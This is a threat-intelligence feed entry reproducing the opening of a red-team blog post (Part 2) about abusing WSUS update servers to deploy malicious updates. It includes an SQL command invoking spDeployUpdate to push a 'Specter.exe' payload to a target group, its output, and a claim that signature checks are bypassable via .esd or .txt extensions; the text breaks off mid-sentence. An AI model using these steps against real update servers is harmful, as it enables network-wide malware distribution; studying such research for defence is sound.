Security & Threat Intelligence · 05.08.2026, 17:23 UTC
Turning Enterprise Update Servers Into Backdoor Factories (0_o) – Part 2
| Schweregrad | info |
|---|---|
| Kategorie | Security & Threat Intelligence |
| Quelle | SpecterOps ↗ |
| Veröffentlicht | 05.08.2026 UTC |
Sicherheitsmeldung mit Schweregrad noch nicht bewertet. Technische Details im Tab „Originaltext“; empfohlene Schritte in der Checkliste.
TL;DR: When WSUS downloads files for updates, it requires the server to leverage the BITS protocol. WSUS normally requires executables to be digitally signed, however this can be bypassed by appending the .esd or .txt file extensions.
Introduction
In Part 1 of this series, I walked through the necessary stored procedures used to create a custom malicious update. This blog will continue where we left off and showcase some blockers that I ran into like trouble downloading our payload and file signature requirements.
Part 1 can be found here:
Turning Enterprise Update Servers Into Backdoor Factories (0_o) – Part 1
Deploy The Update
Continuing where we left off from part 1, the very last step to deploy our custom update is to call the spDeployUpdate stored procedure. This will initiate the update and start a download on our webserver for our Specter.exe payload.
SQL (LUDUS\WSUS1$ LUDUS\WSUS1$@SUSDB)> EXEC spDeployUpdate @updateID = 'ecb78a8f-5e2c-4b28-a20e-8ad6d99afae7', @revisionNumber = 1, @actionID = 0, @targetGroupID = 'a306cf19-2e4f-43e4-a3ee-77554e6afcf6', @isAssigned = 1, @deadline = '2025-10-06 23:59:59', @adminName = 'Administrator';
INFO(SQL1-WSUS): Line 253: Change:Successfully deployed deployment(Install) of Specter by Administrator UpdateID:ECB78A8F-5E2C-4B28-A20E-8AD6D99AFAE7 Revision Number:1 TargetGroup:SpecterGroup
DeploymentTime AdminName DeploymentGuid UpdateID 2025-12-20 20:08:10 Administrator ED07F5CB-E233-4CE8-B534-473F46BC80D3 ECB78A8F-5E2C-4B28-A20E-8AD6D99AFAE7 (Snipped for Brevity)
Blocker: Trouble Downloading
On my web server, we …